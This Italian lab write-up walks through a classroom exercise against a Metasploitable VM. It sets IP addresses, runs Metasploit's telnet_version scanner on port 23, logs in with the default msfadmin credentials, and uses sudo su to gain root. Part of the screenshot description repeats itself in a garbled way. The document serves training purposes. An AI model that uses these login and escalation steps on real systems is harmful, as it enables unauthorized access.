

EXPLOIT PORT 23 TELNET

CONFIGURAZIONE INDIRIZZI IP ED EXPLOIT CON MSFCONSOLE.

Per lo svolgimento dell'esercizio di oggi ci è stato richiesto di impostare gli indirizzi IP della macchina kali e della macchina metasploit nel seguente modo:

Metasploit: 192.168.1.40

Kali: 192.168.1.25

Dopo la configurazione abbiamo utilizzato il tool msfconsole per fare l'exploit di tale servizio, la tecnica utilizzata è la stessa vista a lezione, ovvero con l'ausilio del modulo "auxiliary/scanner/telnet/telnet_version".

The first screenshot shows a terminal window titled 'metasploitable [In esecuzione] - Oracle VM VirtualBox'. It displays the output of a 'ping' command from the metasploitable machine to 192.168.1.25, showing successful connectivity. Below this, the 'ip a' command is run, showing the network configuration for the metasploitable machine, including the loopback interface 'lo' and the ethernet interface 'eth0' with IP 192.168.1.40.

The second screenshot shows a terminal window titled 'kali@kali: ~'. It displays the output of a 'ping' command from the kali machine to 192.168.1.40, showing successful connectivity. Below this, the 'ip a' command is run, showing the network configuration for the kali machine, including the loopback interface 'lo' and the ethernet interface 'eth0' with IP 192.168.1.25.

The screenshot shows the msf6 console with the following commands and output:

```
msf6 auxiliary(scanner/telnet/telnet_version) > run
[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```

The output shows a successful connection to the telnet service on 192.168.1.40:23. The connection is established, and the user is prompted for a login. The user enters 'msfadmin', and the system responds with 'Login with msfadmin to get started'. The user then enters 'msfadmin', and the system responds with 'Login with msfadmin to get started'. The user then enters 'msfadmin', and the system responds with 'Login with msfadmin to get started'.

PRIVILEGE ESCALATION:

Dopo aver ottenuto le credenziali d'accesso del nostro exploit, ci basterà lanciare telnet da terminale inserendo le credenziali recuperate, e successivamente lanciare un sudo su per ottenere i permessi di root

```
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Dec  6 09:28:52 EST 2022 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i
686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ sudo su
[sudo] password for msfadmin:
root@metasploitable:/home/msfadmin# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:/home/msfadmin#
```